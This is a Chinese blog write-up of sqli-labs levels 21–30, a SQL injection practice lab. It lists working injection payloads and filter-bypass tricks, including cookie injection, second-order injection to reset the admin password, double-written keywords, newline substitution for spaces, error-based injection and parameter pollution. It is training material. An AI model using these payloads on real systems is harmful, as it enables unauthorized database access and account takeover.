zoukankan      html  css  js  c++  java
  • sql-ilabs闯关21-30关——通关记录

    sqli-labs闯关21-30——通关记录

    Less-21

    由题目可知,本题是cookie注入,且闭合方式是')。并且涉及到了base64编码

    随便输入试探一下显示

    username:admin
    passwd:admin
    

    8YW_AYGX_XNI~47@QP__XJ3.png

    可以看到,cookie部分uname的值是进行了base64 编码

    __3___D__QN0AX@2II98XT9.png

    因此尝试修改cookie的值,且将目的语句进行base64编码后作为cookie输入

    ') union select 1,2,3#
    

    UJZ`__RG_OURTD2Y7_Q0Z_F.png

    可以看到,显示的字段是2,3

    接下来继续绕过

    ') union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3#   #爆表
    

    I__TQM_21ZF_UPTG48O_EPT.png

    成功

    Less-22

    由题目可以知道该题为双引号闭合,且和上题一样

    C4G~_CCQ_E6L_UBMQR6CJ50.png

    不再赘述

    Less-23

    经过测试可知,该题是单引号闭合

    5KUC_4O_PT_BJ4TV8_MLWHD.png

    随后测试显示字段

    ?id=-1' union select 1,2,3 and '1'='1
    

    BEAPC_JMP_G9WITJ937Q_HK.png

    然后一套组合拳

    ?id=-1' union select 1,database(),3 and '1'='1
    

    Y_@T_342Z__5EUWM_NSRG2I.png

    ?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security'),3 and '1'='1
    

    可以看到限制了显示行数

    ~TST__0MWJ9__VT.png

    加个limit即可

    ?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 and '1'='1 
    

    _UENV_V02Z69W7_1JMOTV_V.png

    完成

    Less-24

    本题是二阶注入

    二阶注入是指客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令信息。虽然参数在过滤后会添加 “” 进行转义,但是“”并不会插入到数据库中,这样就可以利用这个构造一个二次注入。

    二阶注入也称为存储型的注入,就是将可能导致SQL注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发SQL注入二次排序注入思

    一阶注入原理

      (1)一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;

      (2)攻击者在http请求中提交非法输入;

      (3)应用程序处理非法输入,使用非法输入构造SQL语句;

      (4)在攻击过程中向攻击者返回结果。

    二阶注入原理:

      (1)攻击者在http请求中提交恶意输入;

      (2)恶意输入保存在数据库中;

      (3)攻击者提交第二次http请求;

      (4)为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;

      (5)如果攻击成功,在第二次请求响应中返回结果。

    查看源代码

    mysql_real_escape_string() :不会转义 % 和 _ 。如果这两个符号和LIKE ,GRANT,REVOKE结合使用,他们将是MySQL里面的通配符

    mysql_escape_string() 转义字符,即在字符前加

    查看登陆界面源代码,可以看到这里并不能产生注入

    BV_F7N_YUTDX4XV_I_357RH.png

    查看注册界面源代码,可以看到这里同样进行了过滤

    YQ7YB_36IGE67@0YUIZF~~O.png

    看看修改密码页面源代码,看到这里没有过滤

    6NE`9E_GE_QK_N8W~DV_7QT.png

    尝试创建一个新用户,用户名为admin'#

    查看数据库,已经创建成功

    H3_2AUR_BJI2X~_C1MSVGUC.png

    查看sql语句的执行过程

    原SQL语句:UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
    
    修改密码sql语句:UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
    //#后面的语句被注释了
    最后真正执行的sql语句:UPDATE users SET PASSWORD='$pass' where username='admin'
    

    之后进入修改密码的界面,将admin的密码修改为000000

    _UXPKK@M8TAT_0__10Z__A0.png

    成功

    Less-25

    由题可知,该题过滤了and ,or的get注入

    测试可知,该题是单引号闭合

    看下面的提示,猜测是是单纯过滤了字符串,可以尝试双写绕过

    ?id=1' oorrder by 1 aandnd '1'='1
    

    QGNFYE1Q_U.png

    随后

    ?id=-1' union select 1,database(),3 anandd '1'='1
    

    _2_T7`@RI_T_KW100O6D_ZD.png

    成功

    Less-25a

    尝试闭合方式,单引号双引号都报错,且本题也都过滤了or,and

    构造语句

    ?id=1 aandnd 1=1
    

    U_GRK~_Q__EQE@KI42LQ46B.png

    看出本题没有闭合

    构造语句

    ?id=-1 union select 1,database(),3 aandnd 1=1
    

    _EW__U2HE_OX_X_AFZJ_K~0.png

    成功

    Less-26

    测试可得该题是单引号闭合,构造语句

    ?id=1' and '1'='1#
    

    J87Z2___RI_DE82I95GB_GP.png

    看显示,可以知道本题过滤了空格和and

    查看源代码,看到这过滤比较完全,无法正面绕过

    P1O__R69K@B_N~07_V_SYDH.png

    所以采用报错注入,构造语句

    ?id=1'||updatexml(1,concat(':',(select database())),1)||'1'='1	#因为空格被过滤,因此采用||来链接语句
    

    ~___W@WXREG_H7CMWSWNQ_2.png

    成功

    Less-26a

    尝试测试闭合方式。。。没测出来,查看源码是单引号小括号闭合

    构造语句

    ?id=1') and 1=1
    

    可以看到过滤了空格和and,和上题类似,不再赘述

    Less-27

    测试可得,闭合方式为单引号闭合,且过滤了union和select以及空格

    在sql语句中,大小写不敏感

    即SELECTselectSeleCt

    查看源代码

    B1UCF3`8HMRBAFR__C_K2.png

    正则表达式

    • i
      如果设定了此修正符,模式中的字符将同时匹配大小写字母。
    • m
      如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。
    • s
      匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ f v]。注意 Unicode 正则表达式会匹配全角空格符。
    • x
      如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。
    • e
      如果设定了此修正符,preg_replace()在替换字符串中对逆向引用作正常的替换。
    • ?
      ./+/*之后表示非贪婪匹配,./+/*限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?就可以实现非贪婪或最小匹配。

    构造语句

    ?id=0'%0Auunionnion%0AsselecteLECT%0A1,database(),3||'1'='1	#-被过滤了,因此不能使用-1,%0a换行符
    

    55@X4_X_IW1F9I_Y~HRTTZI.png

    成功

    Less-27a

    测试可知,闭合方式为双引号,本题和上题类似

    构造语句

    ?id=0"%0AUNIon%0ASELECt%0A1,database(),3||"1"="1
    

    UD_WG741E95B5__UT_OLC`E.png

    成功

    Less-28

    猜测闭合方式

    ?id=1')||('1')=('1
    

    正确,闭合方式是单引号小括号

    查看源代码

    JAE@DGIRJB_XBLCXCKGGNCI.png

    可知过滤利用正则表达式使其大小写敏感,因此可以尝试双写绕过,且过滤的是union select

    构造语句

    ?id=1990')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1	#过滤掉union%0Aselect部分,其余部分执行
    

    RKSDWOA__XSMBB57NN_ZCZL.png

    成功

    Less-28a

    查看源码知道闭合方式是单引号小括号,且其仅过滤了union select

    构造语句

    ?id=-1') uniounion selectn select 1,database(),3--+
    

    L_DE_0_L_A_RI1_N_Y__UZY.png

    成功

    Less-29

    测试知道是单引号闭合

    构造语句

    ?id=-1' union select 1,database(),3 and '1'='1#
    

    IZO55__Q@UK@AUS2HLW98.png

    成功了,感觉没这么简单,再深入一点

    ?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 and '1'='1#
    

    A6_O8___LTV_G_AV6YGX4SS.png

    ???也成功了,所以到底防了个啥

    查看源代码

    在login.php的源码中看到

    K_DF_XGA_1VJ_@_AV2@_SEW.png

    这里解释一下服务器架构

    服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据原路径返回

    对于index.php/?id=1&id=2,Tomcat读取第一个参数,Apache读取最后一个参数,但是由于是Apache处理数据,因此最后返回的数据是id=2

    对源代码里的函数解释一下

    explode("string",parameter) 以STRING为分割符,将PARAMETER分割成字符串数组

    foreach 依次输出数组内容

    上述图片中的函数,返回带有id参数的字符串第四位到三十位的字符,然后进行正则匹配,若匹配成功,则执行sql 语句

    KF_E8_J_BY_3CZIOG__TY2E.png

    Less-30

    测试可得闭合方式为双引号

    构造语句

    ?id=-1" union select 1,database(),3 and "1"="1#
    

    TUZ_ZI`_5DPL_SIC1ZF3O2U.png

    成功

    查看源码,本题和上题类似,不再赘述

  • 相关阅读:
    福大软工 · 第七次作业
    福大软工 · 第八次作业(课堂实战)- 项目UML设计(团队)
    福大软工1816 · 第六次作业
    福大软工1816 · 第四次作业
    福大软工1816 · 第三次作业
    测试用例设计--黑盒测试、白盒测试
    数据库测试概述
    层次数据库与网状数据库
    ER图转换关系模型
    事务、锁
  • 原文地址:https://www.cnblogs.com/yyy-fff/p/14393775.html
Copyright © 2011-2022 走看看